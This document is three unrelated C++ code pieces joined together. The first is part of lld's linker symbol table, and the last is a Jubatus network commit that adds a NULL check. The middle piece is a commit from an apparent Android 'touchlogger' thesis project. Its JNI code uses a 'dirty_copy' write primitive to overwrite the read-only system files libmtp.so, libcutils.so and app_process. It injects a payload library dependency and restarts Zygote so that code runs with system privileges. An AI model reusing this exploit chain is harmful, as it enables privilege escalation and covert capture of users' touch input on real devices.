static NameCollisionResolution collide(Atom::Definition first,
                                       Atom::Definition second) {
  return cases[first][second];
}

enum MergeResolution {
  MCR_First,
  MCR_Second,
  MCR_Largest,
  MCR_SameSize,
  MCR_Error
};

static MergeResolution mergeCases[][6] = {
  // no          tentative      weak          weakAddress   sameNameAndSize largest
  {MCR_Error,    MCR_First,     MCR_First,    MCR_First,    MCR_SameSize,   MCR_Largest},  // no
  {MCR_Second,   MCR_Largest,   MCR_Second,   MCR_Second,   MCR_SameSize,   MCR_Largest},  // tentative
  {MCR_Second,   MCR_First,     MCR_First,    MCR_Second,   MCR_SameSize,   MCR_Largest},  // weak
  {MCR_Second,   MCR_First,     MCR_First,    MCR_First,    MCR_SameSize,   MCR_Largest},  // weakAddress
  {MCR_SameSize, MCR_SameSize,  MCR_SameSize, MCR_SameSize, MCR_SameSize,   MCR_SameSize}, // sameSize
  {MCR_Largest,  MCR_Largest,   MCR_Largest,  MCR_Largest,  MCR_SameSize,   MCR_Largest},  // largest
};

static MergeResolution mergeSelect(DefinedAtom::Merge first,
                                   DefinedAtom::Merge second) {
  assert(first != DefinedAtom::mergeByContent);
  assert(second != DefinedAtom::mergeByContent);
  return mergeCases[first][second];
}

static uint64_t getSizeFollowReferences(const DefinedAtom *atom, uint32_t kind) {
  uint64_t size = 0;
redo:
  while (atom) {
    for (const Reference *r : *atom) {
      if (r->kindNamespace() == Reference::KindNamespace::all &&
          r->kindArch() == Reference::KindArch::all &&
          r->kindValue() == kind) {
        atom = cast<DefinedAtom>(r->target());
        size += atom->size();
        goto redo;
      }
    }
    break;
  }
  return size;
}

// Returns the size of the section containing the given atom. Atoms in the same
// section are connected by layout-before and layout-after edges, so this
// function traverses them to get the total size of atoms in the same section.
static uint64_t sectionSize(const DefinedAtom *atom) {
  return atom->size()
      + getSizeFollowReferences(atom, lld::Reference::kindLayoutBefore)
      + getSizeFollowReferences(atom, lld::Reference::kindLayoutAfter);
}

void SymbolTable::addByName(const Atom &newAtom) {
  StringRef name = newAtom.name();
  assert(!name.empty());
  const Atom *existing = findByName(name);
  if (existing == nullptr) {
    // Name is not in symbol table yet, add it associate with this atom.
    _nameTable[name] = &newAtom;
    return;
  }

  // Name is already in symbol table and associated with another atom.
  bool useNew = true;
  switch (collide(existing->definition(), newAtom.definition())) {
  case NCR_First:
    useNew = false;
    break;
  case NCR_Second:
    useNew = true;
    break;
  case NCR_DupDef:
    assert(existing->definition() == Atom::definitionRegular);
    assert(newAtom.definition() == Atom::definitionRegular);
    switch (mergeSelect(((DefinedAtom*)existing)->merge(),
                        ((DefinedAtom*)&newAtom)->merge())) {
    case MCR_First:
      useNew = false;
      break;
    case MCR_Second:
      useNew = true;
      break;
    case MCR_Largest: {
      uint64_t existingSize = sectionSize((DefinedAtom*)existing);
      uint64_t newSize = sectionSize((DefinedAtom*)&newAtom);
      useNew = (newSize >= existingSize);
      break;
    }
    case MCR_SameSize: {
      uint64_t existingSize = sectionSize((DefinedAtom*)existing);
      uint64_t newSize = sectionSize((DefinedAtom*)&newAtom);
      if (existingSize == newSize) {
        useNew = true;
        break;
      }
      llvm::errs() << "Size mismatch: "
                   << existing->name() << " (" << existingSize << ") "
                   << newAtom.name() << " (" << newSize << ")\n";
      // fallthrough
    }
    case MCR_Error:
      if (!_context.getAllowDuplicates()) {
        llvm::errs() << "Duplicate symbols: "
                     << existing->name()
                     << ":"
                     << existing->file().path()
                     << " and "
                     << newAtom.name()
                     << ":"
                     << newAtom.file().path()
                     << "\n";
        llvm::report_fatal_error("duplicate symbol error");
      }
      useNew = false;
      break;
    }
    break;
  case NCR_DupUndef: {
    const UndefinedAtom* existingUndef = dyn_cast<UndefinedAtom>(existing);
    const UndefinedAtom* newUndef = dyn_cast<UndefinedAtom>(&newAtom);
    assert(existingUndef != nullptr);
    assert(newUndef != nullptr);

    bool sameCanBeNull = (existingUndef->canBeNull() == newUndef->canBeNull());
    if (!sameCanBeNull &&
        _context.warnIfCoalesableAtomsHaveDifferentCanBeNull()) {
      llvm::errs() << "lld warning: undefined symbol "
                   << existingUndef->name()
                   << " has different weakness in "
                   << existingUndef->file().path()
                   << " and in " << newUndef->file().path() << "\n";
    }

    const UndefinedAtom *existingFallback = existingUndef->fallback();
    const UndefinedAtom *newFallback = newUndef->fallback();
    bool hasDifferentFallback =
        (existingFallback && newFallback &&
         existingFallback->name() != newFallback->name());
    if (hasDifferentFallback) {
      llvm::errs() << "lld warning: undefined symbol "
                   << existingUndef->name() << " has different fallback: "
                   << existingFallback->name() << " in "
                   << existingUndef->file().path() << " and "
                   << newFallback->name() << " in "
                   << newUndef->file().path() << "\n";
    }

    bool hasNewFallback = newUndef->fallback();
    if (sameCanBeNull)
      useNew = hasNewFallback;
    else
      useNew = (newUndef->canBeNull() < existingUndef->canBeNull());
    break;
  }
  case NCR_DupShLib: {
      const SharedLibraryAtom* curShLib =
        dyn_cast<SharedLibraryAtom>(existing);
      const SharedLibraryAtom* newShLib =
        dyn_cast<SharedLibraryAtom>(&newAtom);
      assert(curShLib != nullptr);
      assert(newShLib != nullptr);
      bool sameNullness = (curShLib->canBeNullAtRuntime()
                                      == newShLib->canBeNullAtRuntime());
      bool sameName = curShLib->loadName().equals(newShLib->loadName());
      if (!sameName) {
        useNew = false;
        if (_context.warnIfCoalesableAtomsHaveDifferentLoadName()) {
          // FIXME: need diagonstics interface for writing warning messages
          llvm::errs() << "lld warning: shared library symbol "
                       << curShLib->name()
                       << " has different load path in "
                       << curShLib->file().path()
                       << " and in "
                       << newShLib->file().path();
        }
      } else if (!sameNullness) {
        useNew = false;
        if (_context.warnIfCoalesableAtomsHaveDifferentCanBeNull()) {
          // FIXME: need diagonstics interface for writing warning messages
          llvm::errs() << "lld warning: shared library symbol "
                       << curShLib->name()
                       << " has different weakness in "
                       << curShLib->file().path()
                       << " and in "
                       << newShLib->file().path();
        }
      } else {
        // Both shlib atoms are identical and can be coalesced.
        useNew = false;
      }
    }
    break;
  case NCR_Error:
    llvm::errs() << "SymbolTable: error while merging " << name << "\n";
    llvm::report_fatal_error("duplicate symbol error");
    break;
  }

  if (useNew) {
    // Update name table to use new atom.
    _nameTable[name] = &newAtom;
    // Add existing atom to replacement table.
    _replacedAtoms[existing] = &newAtom;
  } else {
    // New atom is not being used.  Add it to replacement table.
    _replacedAtoms[&newAtom] = existing;
  }
}

unsigned SymbolTable::AtomMappingInfo::getHashValue(const DefinedAtom *atom) {
  auto content = atom->rawContent();
  return llvm::hash_combine(atom->size(),
                            atom->contentType(),
                            llvm::hash_combine_range(content.begin(),
                                                     content.end()));
}

bool SymbolTable::AtomMappingInfo::isEqual(const DefinedAtom * const l,
                                           const DefinedAtom * const r) {
  if (l == r)
    return true;
  if (l == getEmptyKey())
    return false;
  if (r == getEmptyKey())
    return false;
  if (l == getTombstoneKey())
    return false;
  if (r == getTombstoneKey())
    return false;

  if (l->contentType() != r->contentType())
    return false;
  if (l->size() != r->size())
    return false;
  ArrayRef<uint8_t> lc = l->rawContent();
  ArrayRef<uint8_t> rc = r->rawContent();
  return memcmp(lc.data(), rc.data(), lc.size()) == 0;
}

void SymbolTable::addByContent(const DefinedAtom & newAtom) {
  // Currently only read-only constants can be merged.
  assert(newAtom.permissions() == DefinedAtom::permR__);
  AtomContentSet::iterator pos = _contentTable.find(&newAtom);
  if (pos == _contentTable.end()) {
    _contentTable.insert(&newAtom);
    return;
  }
  const Atom* existing = *pos;
  // New atom is not being used.  Add it to replacement table.
  _replacedAtoms[&newAtom] = existing;
}

const Atom *SymbolTable::findByName(StringRef sym) {
  NameToAtom::iterator pos = _nameTable.find(sym);
  if (pos == _nameTable.end())
    return nullptr;
  return pos->second;
}

bool SymbolTable::isDefined(StringRef sym) {
  const Atom *atom = findByName(sym);
  if (atom == nullptr)
    return false;
  return atom->definition() != Atom::definitionUndefined;
}

void SymbolTable::addReplacement(const Atom *replaced,
                                 const Atom *replacement) {
  _replacedAtoms[replaced] = replacement;
}

const Atom *SymbolTable::replacement(const Atom *atom) {
  for (;;) {
    AtomToAtom::iterator pos = _replacedAtoms.find(atom);
    if (pos == _replacedAtoms.end())
      return atom;
    // might be chain, recurse to end
    atom = pos->second;
  }
}

unsigned int SymbolTable::size() {
  return _nameTable.size();
}

void SymbolTable::undefines(std::vector<const UndefinedAtom *> &undefs) {
  for (auto it : _nameTable) {
    const Atom *atom = it.second;
    assert(atom != nullptr);
    if (const auto undef = dyn_cast<const UndefinedAtom>(atom)) {
      AtomToAtom::iterator pos = _replacedAtoms.find(undef);
      if (pos != _replacedAtoms.end())
        continue;
      undefs.push_back(undef);
    }
  }
}

void SymbolTable::tentativeDefinitions(std::vector<StringRef> &names) {
  for (auto entry : _nameTable) {
    const Atom *atom = entry.second;
    StringRef name   = entry.first;
    assert(atom != nullptr);
    if (const DefinedAtom *defAtom = dyn_cast<DefinedAtom>(atom))
      if (defAtom->merge() == DefinedAtom::mergeAsTentative)
        names.push_back(name);
  }
}
} // namespace lld
<|endoftext|>


<commit_before>#include <jni.h>
#include <string>
#include <stdlib.h>
#include <unistd.h>

#include "dirty/file_utils/file_utils.h"
#include "dirty/lib_utils/inject.h"
#include "dirty/file_utils/dirty_copy.h"
#include "dirty/common/logging.h"

#ifdef __aarch64__
#define APP_PROCESS_PATH "/system/bin/app_process32"
#else
#define APP_PROCESS_PATH "/system/bin/app_process32"
#endif

#define LIBCUTILS_PATH "/system/lib/libcutils.so"
#define LIBMTP_PATH "/system/lib/libmtp.so"
#define EXEC_PAYLOAD_SDCARD_PATH "/sdcard/exec_payload"

// TODO: make this depend on build type
#define DEBUG 1

char app_process_backup_path[PATH_MAX];
char libcutils_backup_path[PATH_MAX];
char libmtp_backup_path[PATH_MAX];
char shared_payload_path[PATH_MAX];
char exec_payload_path[PATH_MAX];

extern "C"
JNIEXPORT jboolean JNICALL
Java_org_leyfer_thesis_touchlogger_1dirty_utils_JniApi_prepare(JNIEnv* env, jclass type,
                                                               jstring localPath_)
{
  const char* localPath = env->GetStringUTFChars(localPath_, 0);

  snprintf(app_process_backup_path, PATH_MAX, "%s/%s", localPath, "app_process.bak");
  snprintf(libcutils_backup_path, PATH_MAX, "%s/%s", localPath, "libcutils.so.bak");
  snprintf(libmtp_backup_path, PATH_MAX, "%s/%s", localPath, "libmtp.so.bak");
  snprintf(shared_payload_path, PATH_MAX, "%s/%s", localPath, "libshared_payload.so");
  snprintf(exec_payload_path, PATH_MAX, "%s/%s", localPath, "exec_payload");

  LOGV("Backup libmtp...");
  if (copy_file_with_mode(LIBMTP_PATH, libmtp_backup_path, 0777) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Backup libcutils...");
  if (copy_file_with_mode(LIBCUTILS_PATH, libcutils_backup_path, 0777) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Backup app_process...");
  if (copy_file_with_mode(APP_PROCESS_PATH, app_process_backup_path, 0777) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Move exec_payload to external memory...");
  if (copy_file(exec_payload_path, EXEC_PAYLOAD_SDCARD_PATH) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Replace libmtp...");
  if (dirty_copy(shared_payload_path, LIBMTP_PATH) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!")

  LOGV("Inject dependency into libcutils...")
  if (inject_dependency_into_library(LIBCUTILS_PATH, "libmtp.so") == -1)
  {
    LOGV("Failed!");
    LOGV("Temporary fix for test device...");
    LOGV("Please report if you see this in production version!");
    // FIXME: Temp fix for my Nexus 5, remove before production code!
    if (replace_dependency_in_binary(LIBCUTILS_PATH, "libcutils.so", "libmtp.so") == -1)
    {
      LOGV("Failed!");
      return (jboolean) false;
    }
  }
  LOGV("Done!");

  env->ReleaseStringUTFChars(localPath_, localPath);

  return (jboolean) true;
}

extern "C"
JNIEXPORT void JNICALL
Java_org_leyfer_thesis_touchlogger_1dirty_utils_JniApi_triggerLogger(JNIEnv* env, jclass type)
{
  if (fork() == 0)
  {
    if (daemon(0, 0) == -1)
    {
      LOGV("Unable to daemonize process: %s!", strerror(errno));
    }
    else
    {
      LOGV("Start as daemon!");
    }

    int killer_pid;
    if ((killer_pid = fork()) == 0)
    {
      if (dirty_copy(shared_payload_path, APP_PROCESS_PATH) == -1)
      {
        LOGV("Unable to overwrite app_process (%s) with %s!", APP_PROCESS_PATH,
             shared_payload_path);
        exit(-1);
      }
      else
      {
        LOGV("App_process successfully overwritten!");
      }

      exit(0);
    }

    //FIXME: come up with something less dumb than that
    sleep(10);

    LOGV("Zygote is probably dead now");

    if (kill(killer_pid, SIGKILL) == -1)
    {
      LOGV("Unable to kill killer thread: %s", strerror(errno));
    }
    else
    {
      LOGV("Killer process killed successfully!");
    }

    if (dirty_copy(app_process_backup_path, APP_PROCESS_PATH) == -1)
    {
      LOGV("Unable to restore app_process from backup! Reboot yor device and try again.");
      exit(-1);
    }
    else
    {
      LOGV("Zygote successfully restarted!");
    }

    sleep(10);

    LOGV("Return everything to initial state");

    if (!(killer_pid = fork()))
    {
      dirty_copy(shared_payload_path, APP_PROCESS_PATH);
      exit(0);
    }
    else
    {
      sleep(5);
    }

    LOGV("Wait for it...");
    sleep(5);

    kill(killer_pid, SIGKILL);
    LOGV("Done! About to resurrect it");

    dirty_copy(libmtp_backup_path, LIBMTP_PATH);
    dirty_copy(libcutils_backup_path, LIBCUTILS_PATH);
    dirty_copy(app_process_backup_path, APP_PROCESS_PATH);
    LOGV("Done!");

    exit(0);
  }
}

extern "C"
JNIEXPORT jstring JNICALL
Java_org_leyfer_thesis_touchlogger_1dirty_utils_JniApi_stringFromJNI(JNIEnv* env,
                                                                     jobject instance)
{
  std::string hello = "Hello from C++";
  return env->NewStringUTF(hello.c_str());
}
<commit_msg>Fix path to app_process in 64-bit sysytems.<commit_after>#include <jni.h>
#include <string>
#include <stdlib.h>
#include <unistd.h>

#include "dirty/file_utils/file_utils.h"
#include "dirty/lib_utils/inject.h"
#include "dirty/file_utils/dirty_copy.h"
#include "dirty/common/logging.h"

#ifdef __aarch64__
#define APP_PROCESS_PATH "/system/bin/app_process64"
#else
#define APP_PROCESS_PATH "/system/bin/app_process32"
#endif

#define LIBCUTILS_PATH "/system/lib/libcutils.so"
#define LIBMTP_PATH "/system/lib/libmtp.so"
#define EXEC_PAYLOAD_SDCARD_PATH "/sdcard/exec_payload"

// TODO: make this depend on build type
#define DEBUG 1

char app_process_backup_path[PATH_MAX];
char libcutils_backup_path[PATH_MAX];
char libmtp_backup_path[PATH_MAX];
char shared_payload_path[PATH_MAX];
char exec_payload_path[PATH_MAX];

extern "C"
JNIEXPORT jboolean JNICALL
Java_org_leyfer_thesis_touchlogger_1dirty_utils_JniApi_prepare(JNIEnv* env, jclass type,
                                                               jstring localPath_)
{
  const char* localPath = env->GetStringUTFChars(localPath_, 0);

  snprintf(app_process_backup_path, PATH_MAX, "%s/%s", localPath, "app_process.bak");
  snprintf(libcutils_backup_path, PATH_MAX, "%s/%s", localPath, "libcutils.so.bak");
  snprintf(libmtp_backup_path, PATH_MAX, "%s/%s", localPath, "libmtp.so.bak");
  snprintf(shared_payload_path, PATH_MAX, "%s/%s", localPath, "libshared_payload.so");
  snprintf(exec_payload_path, PATH_MAX, "%s/%s", localPath, "exec_payload");

  LOGV("Backup libmtp...");
  if (copy_file_with_mode(LIBMTP_PATH, libmtp_backup_path, 0777) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Backup libcutils...");
  if (copy_file_with_mode(LIBCUTILS_PATH, libcutils_backup_path, 0777) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Backup app_process...");
  if (copy_file_with_mode(APP_PROCESS_PATH, app_process_backup_path, 0777) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Move exec_payload to external memory...");
  if (copy_file(exec_payload_path, EXEC_PAYLOAD_SDCARD_PATH) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!");

  LOGV("Replace libmtp...");
  if (dirty_copy(shared_payload_path, LIBMTP_PATH) == -1)
  {
    LOGV("Failed!");
    return (jboolean) false;
  }
  LOGV("Done!")

  LOGV("Inject dependency into libcutils...")
  if (inject_dependency_into_library(LIBCUTILS_PATH, "libmtp.so") == -1)
  {
    LOGV("Failed!");
    LOGV("Temporary fix for test device...");
    LOGV("Please report if you see this in production version!");
    // FIXME: Temp fix for my Nexus 5, remove before production code!
    if (replace_dependency_in_binary(LIBCUTILS_PATH, "libcutils.so", "libmtp.so") == -1)
    {
      LOGV("Failed!");
      return (jboolean) false;
    }
  }
  LOGV("Done!");

  env->ReleaseStringUTFChars(localPath_, localPath);

  return (jboolean) true;
}

extern "C"
JNIEXPORT void JNICALL
Java_org_leyfer_thesis_touchlogger_1dirty_utils_JniApi_triggerLogger(JNIEnv* env, jclass type)
{
  if (fork() == 0)
  {
    if (daemon(0, 0) == -1)
    {
      LOGV("Unable to daemonize process: %s!", strerror(errno));
    }
    else
    {
      LOGV("Start as daemon!");
    }

    int killer_pid;
    if ((killer_pid = fork()) == 0)
    {
      if (dirty_copy(shared_payload_path, APP_PROCESS_PATH) == -1)
      {
        LOGV("Unable to overwrite app_process (%s) with %s!", APP_PROCESS_PATH,
             shared_payload_path);
        exit(-1);
      }
      else
      {
        LOGV("App_process successfully overwritten!");
      }

      exit(0);
    }

    //FIXME: come up with something less dumb than that
    sleep(10);

    LOGV("Zygote is probably dead now");

    if (kill(killer_pid, SIGKILL) == -1)
    {
      LOGV("Unable to kill killer thread: %s", strerror(errno));
    }
    else
    {
      LOGV("Killer process killed successfully!");
    }

    if (dirty_copy(app_process_backup_path, APP_PROCESS_PATH) == -1)
    {
      LOGV("Unable to restore app_process from backup! Reboot yor device and try again.");
      exit(-1);
    }
    else
    {
      LOGV("Zygote successfully restarted!");
    }

    sleep(10);

    LOGV("Return everything to initial state");

    if (!(killer_pid = fork()))
    {
      dirty_copy(shared_payload_path, APP_PROCESS_PATH);
      exit(0);
    }
    else
    {
      sleep(5);
    }

    LOGV("Wait for it...");
    sleep(5);

    kill(killer_pid, SIGKILL);
    LOGV("Done! About to resurrect it");

    dirty_copy(libmtp_backup_path, LIBMTP_PATH);
    dirty_copy(libcutils_backup_path, LIBCUTILS_PATH);
    dirty_copy(app_process_backup_path, APP_PROCESS_PATH);
    LOGV("Done!");

    exit(0);
  }
}

extern "C"
JNIEXPORT jstring JNICALL
Java_org_leyfer_thesis_touchlogger_1dirty_utils_JniApi_stringFromJNI(JNIEnv* env,
                                                                     jobject instance)
{
  std::string hello = "Hello from C++";
  return env->NewStringUTF(hello.c_str());
}
<|endoftext|>


<commit_before>// Jubatus: Online machine learning framework for distributed environment
// Copyright (C) 2012 Preferred Infrastructure and Nippon Telegraph and Telephone Corporation.
//
// This library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public
// License version 2.1 as published by the Free Software Foundation.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with this library; if not, write to the Free Software
// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA

#include "network.hpp"

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <net/if.h>  // In BSD, must be included before including <ifaddrs.h>
#include <ifaddrs.h>

#include <netinet/in.h>
#include <arpa/inet.h>

#include <errno.h>

#include <string>
#include <glog/logging.h>
#include "../common/exception.hpp"

using std::string;

namespace jubatus {
namespace common {

namespace {
string get_host_name(const void* sock_addr, size_t sock_size) {
  char host[NI_MAXHOST];
  int s = getnameinfo(static_cast<const sockaddr*>(sock_addr), sock_size, host,
                      NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
  if (s) {
    throw JUBATUS_EXCEPTION(
        jubatus::exception::runtime_error("Failed to get hostname")
        << jubatus::exception::error_api_func("getnameinfo")
        << jubatus::exception::error_message(gai_strerror(s)));
  }

  return host;
}

class ipv4_address : public network_address {
 public:
  explicit ipv4_address(const sockaddr_in* addr)
      : addr_(*addr) {
  }

  ipv4_address(const sockaddr_in* addr, const char* name)
      : addr_(*addr),
        interface_name_(name) {
  }

  bool v4() const {
    return true;
  }

  bool v6() const {
    return false;
  }

  bool loopback() const {
    return addr_.sin_addr.s_addr == htonl(INADDR_LOOPBACK);
  }

  string address() const {
    return get_host_name(&addr_, sizeof(addr_));
  }

  string interface() const {
    return interface_name_;
  }

  const sockaddr_in* v4_address() const {
    return &addr_;
  }

  const sockaddr_in6* v6_address() const {
    return NULL;
  }

 private:
  sockaddr_in addr_;
  string interface_name_;
};

// TODO(kashihara): implement ipv6_address

}  // namespace

address_list get_network_address() {
  address_list result;

  struct ifaddrs* addrs;
  if (getifaddrs(&addrs) == -1) {
    throw JUBATUS_EXCEPTION(
        jubatus::exception::runtime_error("Failed to get interface addresses")
        << jubatus::exception::error_api_func("getifaddrs")
        << jubatus::exception::error_errno(errno));
  }

  try {
    for (struct ifaddrs* ifa = addrs; ifa != NULL; ifa = ifa->ifa_next) {
      int family = ifa->ifa_addr->sa_family;
      if (family == AF_INET) {
        result.push_back(
            pfi::lang::shared_ptr<network_address>(
                new ipv4_address(
                    reinterpret_cast<struct sockaddr_in*>(ifa->ifa_addr),
                    ifa->ifa_name)));
      } else if (family == AF_INET6) {
        // TODO(kashihara): to be implemented to return ipv6_address
      }
    }
  } catch (...) {
    freeifaddrs(addrs);
    throw;
  }

  freeifaddrs(addrs);
  return result;
}

// TODO(kashihara): support hostaddr can be hostname not only IP address
string get_default_v4_address(string hostaddr) {
  string address;

  const address_list addrs = get_network_address();
  for (address_list::const_iterator it = addrs.begin(), end = addrs.end();
      it != end; ++it) {
    pfi::lang::shared_ptr<network_address> a(*it);
    if (a->v6()) {
      continue;
    }
    address = a->address();
    if (!hostaddr.empty() && address == hostaddr) {
      break;
    }

    if (!a->loopback()) {
      break;
    }
  }

  if (!hostaddr.empty() && address != hostaddr) {
    LOG(WARNING) << "Use server address as '" << address << "' because '"
                 << hostaddr << "' missing";
  }

  return address;
}

}  // namespace common
}  // namespace jubatus

<commit_msg>add NULL check for ifa->ifa_addr (fix #273)<commit_after>// Jubatus: Online machine learning framework for distributed environment
// Copyright (C) 2012 Preferred Infrastructure and Nippon Telegraph and Telephone Corporation.
//
// This library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public
// License version 2.1 as published by the Free Software Foundation.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with this library; if not, write to the Free Software
// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA

#include "network.hpp"

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <net/if.h>  // In BSD, must be included before including <ifaddrs.h>
#include <ifaddrs.h>

#include <netinet/in.h>
#include <arpa/inet.h>

#include <errno.h>

#include <string>
#include <glog/logging.h>
#include "../common/exception.hpp"

using std::string;

namespace jubatus {
namespace common {

namespace {
string get_host_name(const void* sock_addr, size_t sock_size) {
  char host[NI_MAXHOST];
  int s = getnameinfo(static_cast<const sockaddr*>(sock_addr), sock_size, host,
                      NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
  if (s) {
    throw JUBATUS_EXCEPTION(
        jubatus::exception::runtime_error("Failed to get hostname")
        << jubatus::exception::error_api_func("getnameinfo")
        << jubatus::exception::error_message(gai_strerror(s)));
  }

  return host;
}

class ipv4_address : public network_address {
 public:
  explicit ipv4_address(const sockaddr_in* addr)
      : addr_(*addr) {
  }

  ipv4_address(const sockaddr_in* addr, const char* name)
      : addr_(*addr),
        interface_name_(name) {
  }

  bool v4() const {
    return true;
  }

  bool v6() const {
    return false;
  }

  bool loopback() const {
    return addr_.sin_addr.s_addr == htonl(INADDR_LOOPBACK);
  }

  string address() const {
    return get_host_name(&addr_, sizeof(addr_));
  }

  string interface() const {
    return interface_name_;
  }

  const sockaddr_in* v4_address() const {
    return &addr_;
  }

  const sockaddr_in6* v6_address() const {
    return NULL;
  }

 private:
  sockaddr_in addr_;
  string interface_name_;
};

// TODO(kashihara): implement ipv6_address

}  // namespace

address_list get_network_address() {
  address_list result;

  struct ifaddrs* addrs;
  if (getifaddrs(&addrs) == -1) {
    throw JUBATUS_EXCEPTION(
        jubatus::exception::runtime_error("Failed to get interface addresses")
        << jubatus::exception::error_api_func("getifaddrs")
        << jubatus::exception::error_errno(errno));
  }

  try {
    for (struct ifaddrs* ifa = addrs; ifa != NULL; ifa = ifa->ifa_next) {
      if (ifa->ifa_addr == NULL) {
        continue;
      }
      int family = ifa->ifa_addr->sa_family;
      if (family == AF_INET) {
        result.push_back(
            pfi::lang::shared_ptr<network_address>(
                new ipv4_address(
                    reinterpret_cast<struct sockaddr_in*>(ifa->ifa_addr),
                    ifa->ifa_name)));
      } else if (family == AF_INET6) {
        // TODO(kashihara): to be implemented to return ipv6_address
      }
    }
  } catch (...) {
    freeifaddrs(addrs);
    throw;
  }

  freeifaddrs(addrs);
  return result;
}

// TODO(kashihara): support hostaddr can be hostname not only IP address
string get_default_v4_address(string hostaddr) {
  string address;

  const address_list addrs = get_network_address();
  for (address_list::const_iterator it = addrs.begin(), end = addrs.end();
      it != end; ++it) {
    pfi::lang::shared_ptr<network_address> a(*it);
    if (a->v6()) {
      continue;
    }
    address = a->address();
    if (!hostaddr.empty() && address == hostaddr) {
      break;
    }

    if (!a->loopback()) {
      break;
    }
  }

  if (!hostaddr.empty() && address != hostaddr) {
    LOG(WARNING) << "Use server address as '" << address << "' because '"
                 << hostaddr << "' missing";
  }

  return address;
}

}  // namespace common
}  // namespace jubatus

<|endoftext|>